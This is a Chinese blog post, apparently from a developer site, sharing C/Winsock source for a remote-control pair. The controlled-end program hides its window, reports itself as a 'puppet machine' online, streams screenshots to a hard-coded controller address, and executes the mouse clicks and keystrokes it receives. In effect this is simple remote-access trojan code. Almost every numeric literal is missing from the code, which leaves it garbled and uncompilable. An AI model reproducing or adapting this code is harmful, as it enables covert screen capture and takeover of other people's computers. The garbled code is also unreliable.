远控项目(Windows Socket)
实现内容(屏幕,鼠标,键盘实时控制)
控制端:
#pragma once #ifndef keybd_H
#define keybd_H #include <stdio.h>
#include <stdlib.h> int KeyBD(int tch) {
if (tch > && tch < ) {
return tch;//A~Z大写
}
if (tch > && tch < ) {
return tch;//0~9数字
}
if (tch > && tch < ) {
return tch;//F1~F12
}
int mch = ;
switch (tch) {
case :
mch = ;//乘号
break;
case :
mch = ;//等号
break;
case :
mch = ;//减号
break;
case :
mch = ;//小数点
break;
case :
mch = ;//斜线
break;
case :
mch = ;//制表键
break;
case :
mch = ;//回车键
break;
case :
mch = ;//上档键shift
break;
case :
mch = ;//控制键Ctrl
break;
case :
mch = ;//换挡键Alt
break;
case :
mch = ;//大小写锁定
break;
case :
mch = ;//数字锁定
break;
case :
mch = ;//退格键
break;
case :
mch = ;//空格键
break;
case :
mch = ;//左方向键
break;
case :
mch = ;//上方向键
break;
case :
mch = ;//右方向键
break;
case :
mch = ;//下方向键
break;
case :
mch = ;//静音
break;
case :
mch = ;//退出键
break;
} return mch;
} #endif
keybd.h
#include <stdio.h>
#include <stdlib.h>
#include <WinSock2.h>
#include <cstring>
#include <Windows.h>
#include <graphics.h>//展示图像
#include <conio.h>//_getch()
#include "keybd.h"//读取控制端按键转换为对应键码头文件 #pragma warning(disable:4996)
//忽略警告
#pragma comment(lib, "ws2_32.lib")
//加载ws2_32.dll #define KEY_DOWN(VK_NONAME) ((GetAsyncKeyState(VK_NONAME) & 0x8000) ? 1:0)
//预定义了一个KEYDOWN参数为vk_code 他的定义的含义是判断一个键是否被按下(GetAsyncKeyState(vk_code) & 0x8000) ? 1 : 0
//如果按下了就是1,没有按下就是0,然后其它地方用的时候直接用KEYDOWN(vk_code)判断这个键是否按下, 相反弹起来是1按下是0
#define BUFF_SIZE 1024
#define port 1026
//端口 int main()
{ WSADATA wsaData;
POINT p;
SOCKET serv, cInt_serv;
int nCount; char Path[MAX_PATH];
GetCurrentDirectory(MAX_PATH, Path);
//获取当前可执行文件路径
strcat(Path, "\\KiuKiuKiu.jpg");
//得到同可执行文件路径下的图片地址 if (WSAStartup(MAKEWORD(, ), &wsaData) != ) {
//初始化DLL
printf("WSAStartup() Failed: %d\n", WSAGetLastError());
system("PAUSE");
return -;
}
serv = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
//初始化套接字
if (serv == INVALID_SOCKET) {
printf("socket() Failed: %d\n", WSAGetLastError());
system("PAUSE");
return -;
} struct sockaddr_in serv_addr, cInt;
//创建结构体sockaddr_in的结构体变量
memset(&serv_addr, , sizeof(serv_addr));
//用0初始化每个字节
serv_addr.sin_addr.s_addr = htonl(INADDR_ANY);
//自动响应客户端IP
serv_addr.sin_family = AF_INET;
//使用IPv4
serv_addr.sin_port = htons(port);
//定义端口 if (bind(serv, (LPSOCKADDR)&serv_addr, sizeof(serv_addr)) == SOCKET_ERROR) {
//将套接字与IP,端口绑定
printf("bind() Failed: %d\n", WSAGetLastError());
system("PAUSE");
return -;
} if (listen(serv, ) == SOCKET_ERROR) {
//套接字进入监听状态
printf("listen() Failed: %d\n", WSAGetLastError());
system("PAUSE");
return -;
} printf("服务器监听开启。\n"); char buf_recv[BUFF_SIZE] = { };
//控制端接受成功消息缓存
char buf_str[BUFF_SIZE] = { };
//控制端接收屏幕缓存
int mLen = sizeof(SOCKADDR);
//接受缓存数据大小 cInt_serv = accept(serv, (SOCKADDR*)&cInt, &mLen);
//接受客户端消息
if (cInt_serv == INVALID_SOCKET) {
printf("accept() Failed: %d\n", WSAGetLastError());
system("PAUSE");
return -;
} if (recv(cInt_serv, buf_recv, BUFF_SIZE, ) == SOCKET_ERROR) {
//接受控制端信息
printf("recv() Failed: %d\n", WSAGetLastError());
system("PAUSE");
return -;
} printf("%s\n", buf_recv);
printf("IP地址:%s\t端口:%d\n", inet_ntoa(cInt.sin_addr), port);
Sleep(); closesocket(cInt_serv); do {
//int n = 0; cInt_serv = accept(serv, (SOCKADDR*)&cInt, &mLen);
if (cInt_serv == INVALID_SOCKET) {
printf("accept() Failed: %d\n", WSAGetLastError());
system("PAUSE");
return -;
} FILE *fp = fopen(Path, "wb");
//创建并打开路径指定文件(创建图片文件)
if (fp == NULL) {
printf("Open picture failed!\n");
exit();
system("PAUSE");
} for (; (nCount = recv(cInt_serv, buf_str, BUFF_SIZE, )) > ;) {
//接收客户端发送的缓存文件,也可以用while
fwrite(buf_str, sizeof(char), BUFF_SIZE, fp);
//将数据写入图片文件
Sleep();
//停顿时间,避免粘包或者丢包
//printf("recv!\n");
} fclose(fp);
closesocket(cInt_serv); char arr[] = { };
char brr[] = { };
char key[] = { }; initgraph(, );
// 绘图环境初始化
IMAGE img;
loadimage(&img, _T("KiuKiuKiu.jpg"));
//加载图片
putimage(, , &img); for (int i = ; i < ;) {
if (KEY_DOWN(MOUSE_MOVED)) {
//监测左键按下
key[] = ;
HWND hwnd = GetForegroundWindow();
//获取当前前台的窗口句柄
GetCursorPos(&p);
//获取当前鼠标位置(屏幕坐标)
ScreenToClient(hwnd, &p);
//将屏幕坐标转换为客户区坐标(当前程序窗口坐标)
ltoa(p.x, arr, );
ltoa(p.y, brr, );
//将长整型转换为字符型 // printf("横坐标:%ld\n纵坐标:%ld\n", p.x, p.y);
// Sleep(3000); cInt_serv = accept(serv, (SOCKADDR*)&cInt, &mLen);
send(cInt_serv, key, , );
Sleep();
send(cInt_serv, arr, , );
Sleep();
send(cInt_serv, brr, , );
//发送信息
memset(key, , );
memset(arr, , );
memset(brr, , );
//重置
closesocket(cInt_serv);
//断开连接,清除套接字
//n++;
break;
//跳出死循环
}
if (KEY_DOWN(MOUSE_EVENT)) {
//监测右键按下
key[] = ;
HWND hwnd = GetForegroundWindow();
GetCursorPos(&p);
ScreenToClient(hwnd, &p);
ltoa(p.x, arr, );
ltoa(p.y, brr, );
// printf("横坐标:%ld\n纵坐标:%ld\n", p.x, p.y);
// Sleep(3000);
cInt_serv = accept(serv, (SOCKADDR*)&cInt, &mLen);
send(cInt_serv, key, , );
Sleep();
send(cInt_serv, arr, , );
Sleep();
send(cInt_serv, brr, , );
memset(key, , );
memset(arr, , );
memset(brr, , );
closesocket(cInt_serv);
//n++;
break;
}
if (KEY_DOWN(MOUSE_WHEELED)) {
key[] = ;
HWND hwnd = GetForegroundWindow();
GetCursorPos(&p);
ScreenToClient(hwnd, &p);
ltoa(p.x, arr, );
ltoa(p.y, brr, );
// printf("横坐标:%ld\n纵坐标:%ld\n", p.x, p.y);
// Sleep(3000);
cInt_serv = accept(serv, (SOCKADDR*)&cInt, &mLen);
send(cInt_serv, key, , );
Sleep();
send(cInt_serv, arr, , );
Sleep();
send(cInt_serv, brr, , );
memset(key, , );
memset(arr, , );
memset(brr, , );
closesocket(cInt_serv);
//n++;
break;
}
}
#if 0
if (n == ) {
memset(key, , );
memset(arr, , );
memset(brr, , );
cInt_serv = accept(serv, (SOCKADDR*)&cInt, &mLen);
send(cInt_serv, key, , );
Sleep();
send(cInt_serv, arr, , );
Sleep();
send(cInt_serv, brr, , );
closesocket(cInt_serv);
}
Sleep();
#endif
int ch = ;
int m = ;
char dstr[] = { };
//存储键盘活动
if (_kbhit()) {
//检测是否有键盘操作
ch = _getch();
//获取点击键盘字符
dstr[] = KeyBD(ch);
//转换存储键盘操作数据
cInt_serv = accept(serv, (SOCKADDR*)&cInt, &mLen);
send(cInt_serv, dstr, , );
memset(dstr, , );
closesocket(cInt_serv);
m++;
}
if (m == ) {
//当无键盘操作时,向客户端发送无效操作,避免接收到下一循环的数据。
memset(dstr, , );
cInt_serv = accept(serv, (SOCKADDR*)&cInt, &mLen);
send(cInt_serv, dstr, , );
closesocket(cInt_serv);
}
Sleep();
} while ();
closesocket(serv);
//断开连接,清除套接字
WSACleanup();
//终止DLL使用 system("PAUSE");
return ;
}
控制端
被控端:
#pragma once #ifndef ScreenShot_H
#define ScreenShot_H #include <graphics.h> //展示结果
#include <atlimage.h> //函数CImage
#include <Windows.h> //获取桌面的宽高函数 using namespace ATL; void SSBB() {
//桌面的宽和高
int Width, Height;
//获取桌面的宽高并赋值
Width = GetSystemMetrics(SM_CXSCREEN);
Height = GetSystemMetrics(SM_CYSCREEN);
//取得桌面DC,在这里DC是空
HDC habc1 = GetDC(NULL);
//定义一个和桌面大小的img对象
IMAGE img(Width, Height);
//把img图像给桌面DC
HDC hbac2 = GetImageHDC(&img);
//复制区域hbac2到habc1中,赋值给DC,使DC为桌面图
StretchBlt(hbac2, , , Width, Height, habc1, , , Width, Height, SRCCOPY);
HBITMAP hBC = (HBITMAP)::GetCurrentObject(hbac2, OBJ_BITMAP);
//将HBITMAP绑定到CImage对象
CImage img1;
img1.Attach(hBC); //保存为jpg
img1.Save(_T("BiuBiuBiu.jpg"));
//关闭图形系统
closegraph();
} #endif
ScreenShot
#include <stdio.h>
#include <stdlib.h>
#include <WinSock2.h>
#include "ShotScreen.h"//屏幕截取 #pragma warning(disable:4996)
//警告忽略
#pragma comment(lib, "ws2_32.lib")
//加载ws2_32.dll #define port 1026
//端口
#define BUFF_SIZE 1024
//传递缓存数据数组大小 void ExecutiveCommand(int m, int n, char *array); int main()
{
WSADATA WSAData;
SOCKET client;
char str[] = "127.0.0.1";
//控制端IP
FILE *fp;
int nCount;
if (WSAStartup(MAKEWORD(, ), &WSAData) != ) {
//初始化DLL
printf("WSAStartup() Failed: %d\n", WSAGetLastError());
system("PAUSE");
return -;
} client = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
//创建套接字
if (client == INVALID_SOCKET) {
//查错
printf("socket() Failed: %d\n", WSAGetLastError());
system("PAUSE");
return -;
} struct sockaddr_in client_addr;
//创建sockaddr_in结构体变量
memset(&client_addr, , sizeof(client_addr));
//初始化,每个字节都使用0填充
client_addr.sin_addr.s_addr = inet_addr(str);
//具体IP地址
client_addr.sin_family = AF_INET;
//使用IPv4地址
client_addr.sin_port = htons(port);
//端口 bool f = false;
HWND hwnd = GetForegroundWindow();
//获取最前端的窗口的句柄
ShowWindow(hwnd, f);
//隐藏窗口 //char buf[BUFF_SIZE] = { 0 };
char arr[] = { };
char brr[] = { };
char key[] = { };
long x, y;
long mrr[] = { };
char dstr[] = { };
char mstr[BUFF_SIZE] = { };
//缓冲文件
char sendbuf[] = "傀儡机已上线。"; char Path[MAX_PATH];
GetCurrentDirectory(MAX_PATH, Path);
//获取当前软件路径
strcat(Path, "\\BiuBiuBiu.jpg");
//得到截图路径 client = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
//创建套接字
if (client == INVALID_SOCKET) {
printf("socket() Failed: %d\n", WSAGetLastError());
system("PAUSE");
return -;
}
if (connect(client, (LPSOCKADDR)&client_addr, sizeof(SOCKADDR)) == SOCKET_ERROR) {
//建立连接
printf("connect() Failed: %d\n", WSAGetLastError());
system("PAUSE");
return -;
} if (send(client, sendbuf, , ) == SOCKET_ERROR) {
//发送数据
printf("send2() Failed: %d\n", WSAGetLastError());
system("PAUSE");
return -;
} closesocket(client);
//关闭套接字 do {
client = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
//创建套接字
if (client == INVALID_SOCKET) {
printf("socket() Failed: %d\n", WSAGetLastError());
system("PAUSE");
return -;
}
if (connect(client, (LPSOCKADDR)&client_addr, sizeof(SOCKADDR)) == SOCKET_ERROR) {
//建立连接
printf("connect() Failed: %d\n", WSAGetLastError());
system("PAUSE");
return -;
} SSBB();
//对屏幕截图 if ((fp = fopen(Path, "rb")) == NULL) {
//打开指定文件
printf("Open picture failed!\n");
exit();
system("PAUSE");
} for (; (nCount = fread(mstr, sizeof(char), BUFF_SIZE, fp)) > ;) {
//使用循环获取文件数据,直到文件末尾
if (send(client, mstr, nCount, ) == SOCKET_ERROR) {
printf("send1() Failed: %d\n", WSAGetLastError());
system("PAUSE");
return -;
}
printf("PASS!\n");
} fclose(fp);
//关闭文件流指针
shutdown(client, SD_SEND);
//文件读取完毕,断开输出流
recv(client, mstr, BUFF_SIZE, );
//阻塞,等待控制端接受数据完毕
closesocket(client);
//断开连接,清除套接字 client = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
//创建套接字
if (connect(client, (LPSOCKADDR)&client_addr, sizeof(SOCKADDR)) == SOCKET_ERROR) {
//建立连接(鼠标数据)
printf("connect() Failed: %d\n", WSAGetLastError());
system("PAUSE");
return -;
}
if (recv(client, key, , ) == SOCKET_ERROR) {
//等待接受控制端鼠标数据
printf("recv() Failed: %d\n", WSAGetLastError());
return -;
}
if (recv(client, arr, , ) == SOCKET_ERROR) {
//等待接受控制端鼠标数据
printf("recv() Failed: %d\n", WSAGetLastError());
return -;
}
if (recv(client, brr, , ) == SOCKET_ERROR) {
//等待接受控制端鼠标数据
printf("recv() Failed: %d\n", WSAGetLastError());
return -;
} x = atol(arr);
y = atol(brr); ExecutiveCommand(x, y, key);
//键盘模拟函数
memset(arr, , );
memset(brr, , );
memset(key, , );
//填充0到键盘缓存数组
closesocket(client);
//断开连接,清除套接字 client = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
//创建套接字
if (connect(client, (LPSOCKADDR)&client_addr, sizeof(SOCKADDR)) == SOCKET_ERROR) {
//建立连接(键盘数据)
printf("connect() Failed: %d\n", WSAGetLastError());
system("PAUSE");
return -;
}
if (recv(client, dstr, , ) == SOCKET_ERROR) {
//等待接受控制端键盘数据
printf("recv() Failed: %d\n", WSAGetLastError());
return -;
}
keybd_event(dstr[], , , );
//按下对应键
keybd_event(dstr[], , KEYEVENTF_KEYUP, );
//抬起对应键
closesocket(client);
//断开连接,清除套接字
Sleep();
} while ();
WSACleanup();
//终止DLL使用
system("PAUSE");
return ;
} void ExecutiveCommand(int m, int n, char *array) {
if (array[] == ) {
//printf("横坐标:%ld\n纵坐标:%ld", m, n);
//Sleep(2000);
::SetCursorPos(m, n);
//设置鼠标位置
mouse_event(MOUSEEVENTF_ABSOLUTE | MOUSEEVENTF_LEFTDOWN | MOUSEEVENTF_LEFTUP, , , , );
//模拟鼠标左键单击
}
if (array[] == ) {
//printf("横坐标:%ld\n纵坐标:%ld", m, n);
//Sleep(2000);
::SetCursorPos(m, n);
//设置鼠标位置
mouse_event(MOUSEEVENTF_ABSOLUTE | MOUSEEVENTF_RIGHTDOWN | MOUSEEVENTF_RIGHTUP, , , , );
//模拟鼠标右键单击
} if (array[] == ) {
//printf("收到 3\n");
//printf("横坐标:%ld\n纵坐标:%ld", m, n);
//Sleep(2000);
::SetCursorPos(m, n);
//设置鼠标位置
mouse_event(MOUSEEVENTF_ABSOLUTE | MOUSEEVENTF_MIDDLEDOWN, , , , );
mouse_event(MOUSEEVENTF_ABSOLUTE | MOUSEEVENTF_MIDDLEDOWN, , , , );
//模拟滑轮键单击
}
}
被控端
这里面因为涉及到VS2017没有的几个头文件,需要在控制端安装图形插件添加头文件。点击下载
下面找了一个按钮程序,稍加修改,可以添加到控制端主程序中。
#include<cmath>
#include<ctime>
#include<cstdio>
#include<cstdlib>
#include<windows.h>
#include<algorithm>
using namespace std; #define KEY_DOWN(VK_NONAME) ((GetAsyncKeyState(VK_NONAME) & 0x8000) ? 1:0)
//不要问我这是什么 struct Button {//按钮类型
int x, y, color;//按钮位置和颜色
const char *name;//名字
int len;//名字的长度
}; void GetPos(POINT &pt) {//获得鼠标相对于屏幕的位置
//POINT是自带类型
HWND hwnd = GetForegroundWindow();
GetCursorPos(&pt);
ScreenToClient(hwnd, &pt);
pt.y = pt.y / , pt.x = pt.x / ;//除以16,想不明白自己把它去掉试试
} void color(int a) { SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE), a); }
//修改颜色
//想知道每个颜色的代码就for循环1到256看看
void gto(int x, int y)//将打字的光标移到x行y列
{
COORD pos; pos.X = y * ; pos.Y = x;
//必须反过来
//y*2是因为汉字是2个字符
SetConsoleCursorPosition(GetStdHandle(STD_OUTPUT_HANDLE), pos);
} Button NewButton(int x, int y, int color, const char *name) {
Button t;
t.x = x, t.y = y, t.name = name;
t.color = color;
t.len = strlen(name);
return t;//新建按钮,返回它
} bool Preserve(Button A) {
//维护一个按钮
//如果要使这个起作用必须在循环中不断执行它
gto(A.x, A.y), color(A.color), printf("%s", A.name);
POINT pt;
GetPos(pt);
if (pt.y == A.x && (pt.x >= A.y&&pt.x <= A.y + A.len / )) {
color(A.color + ), gto(A.x, A.y), printf("%s", A.name);
if (KEY_DOWN(MOUSE_MOVED)) return ;//检测到点击按钮
}
return ;//没有检测到
} int main() {
gto(, ), color();
printf("[没有一个作家会为一个流派写作]请点击开启远控,开始准备连接。\n");
Button A = NewButton(, , , "开启远控");
Button B = NewButton(, , , "退出");
while () {
if (Preserve(A)) {
gto(, );
color();
printf("远控已开启!!\n");
Sleep();
}
if (Preserve(B)) {
gto(, );
color();
printf("拜拜~\n");
Sleep();
break;
}
Sleep();//不写这个会很闪
}
}
按钮程序
颜色,触发事件什么的,自己有兴趣就去改就行。
控制端和被控端的注释基本很清楚了,如果有什么问题可以留言或者加我QQ问。
远控项目(Windows Socket)的更多相关文章
- python+msf 制作 windows远控
最近分析的一个远控,后发现是meterpreter rever http shell,文件是个打包的python(打包成exe),感谢wstone的指导~ 创建dll ./msfpayload win ...
- Python3实现ICMP远控后门(中)之“嗅探”黑科技
ICMP后门 前言 第一篇:Python3实现ICMP远控后门(上) 第二篇:Python3实现ICMP远控后门(上)_补充篇 在上两篇文章中,详细讲解了ICMP协议,同时实现了一个具备完整功能的pi ...
- 利用kage把msf变成可视化远控平台
项目下载https://github.com/WayzDev/Kage/releases 这里用kali系统演示 1,先下载kage: 2,右击给予执行权限 3,启动msf msfconsole -q ...
- 通用异步 Windows Socket TCP 客户端组件的设计与实现
编写 Windows Socket TCP 客户端其实并不困难,Windows 提供了6种 I/O 通信模型供大家选择.但本座看过很多客户端程序都把 Socket 通信和业务逻辑混在一起,剪不断理还乱 ...
- HackingTeam重磅炸弹: 估值超1000万美金带有军火交易性质的木马病毒以及远控源代码泄露
[简单介绍] 经常使用网名: 猪头三 出生日期: 1981.XX.XX 个人站点: http://www.x86asm.com QQ交流: 643439947 编程生涯: 2001年~至今[共14年] ...
- 【逆向&编程实战】Metasploit中的安卓载荷凭什么吊打SpyNote成为安卓端最强远控
文章作者:MG1937 QQ:3496925334 CNBLOG:ALDYS4 未经许可,禁止转载 前言 说起SpyNote大家自然不陌生,这款恶意远控软件被利用在各种攻击场景中 甚至是最近也捕获到了 ...
- 高性能 Windows Socket 组件 HP-Socket v3.0.2 正式发布
HP-Socket 是一套通用的高性能 Windows Socket 组件包,包含服务端组件(IOCP 模型)和客户端组件(Event Select 模型),广泛适用于 Windows 平台的 TCP ...
- 高性能 Windows Socket 组件 HP-Socket v3.0.1 正式发布
HP-Socket 是一套通用的高性能 Windows Socket 组件包,包含服务端组件(IOCP 模型)和客户端组件(Event Select 模型),广泛适用于 Windows 平台的 TCP ...
- 高性能 Windows Socket 组件 HP-Socket v2.3.1-beta-2 发布
HP-Socket 是一套通用的高性能 Windows Socket 组件包,包含服务端组件(IOCP 模型)和客户端组件(Event Select 模型),广泛适用于 Windows 平台的 TCP ...
随机推荐
- struts2下面如何同时使用servlet,就是如何实现struts与servlet共存
转载 原文链接:https://blog.csdn.net/u013358115/article/details/20706607 问题 项目要求struts2和servlet能够共存,就是strut ...
- CentOS下安装PHP的AMQP扩展方法和步骤
AMQP,即Advanced Message Queuing Protocol,一个提供统一消息服务的应用层标准高级消息队列协议,是应用层协议的一个开放标准,为面向消息的中间件设计.基于此协议的客户端 ...
- mybatis mybatis.xml 文件和properties文件结合来进行配置数据源
- SlidesJS基本使用方法和官方文档解释
Slides – 是一个简单的,容易定制和风格化,的jQuery幻灯片插件. Slides提供褪色或幻灯片过渡效果,图像淡入淡出,图像预压,自动生成分页,循环,自动播放的自定义等很多选项. 用Slid ...
- WebApi中跨域请求的解决方案和原理
跨域请求仅发生在JavaScript发起Ajax请求时,浏览器对请求的限制,通常只允许访问同一个域中的资源,或者目标服务器明确的通知浏览器允许该域访问资源. 那么什么叫跨域的:主机地址或者ip地址或者 ...
- 使用javascript随机生成斗地主玩家手牌
学习javascript估摸着有半个多月了,好歹自己有过编程基础,学的还算轻松,不过js里的面向对象是真的打脑壳,但都但不懂,和我以前学过的c#简直相差太远 今天写了个随机生成斗地主玩家手牌的代码,自 ...
- 工作中的Buff加成-结构化思考力:自创独门武功 3-3-3原则
3-3-3原则 3秒钟 *思考三秒钟 沟通前根据交谈内容思考3秒钟,思考下具体需要表达什么,思考的主要点为What.Why.How. *冷静三秒钟 在沟通过程中,若遇到气氛不和谐,比如生气.愤恨等时, ...
- NOS服务监控实践
本文来自网易云社区 作者:王健 一. 背景 此处所说的服务监控程序,是通过模拟用户的请求,对一个系统的服务质量进行监控的程序.服务监控程序的主要目的是,从用户的角度出发,通过发送端到端的请求,确认系 ...
- 不可逆转(SDOI2010地精部落)
提供一个简单一点的思路,不需要滚动数组,也不需要一些奇奇怪怪的性质. 我们考虑设\(f[i]\)为\(1\)到\(i\)中有多少种波动数列. 我们可以注意到,波动数列分为先降后升和先升后降两种,但是我 ...
- 使用Python+OpenCV进行图像模板匹配(Match Template)
2017年9月22日 BY 蓝鲸 LEAVE A COMMENT 本篇文章介绍使用Python和OpenCV对图像进行模板匹配和识别.模板匹配是在图像中寻找和识别模板的一种简单的方法.以下是具体的步骤 ...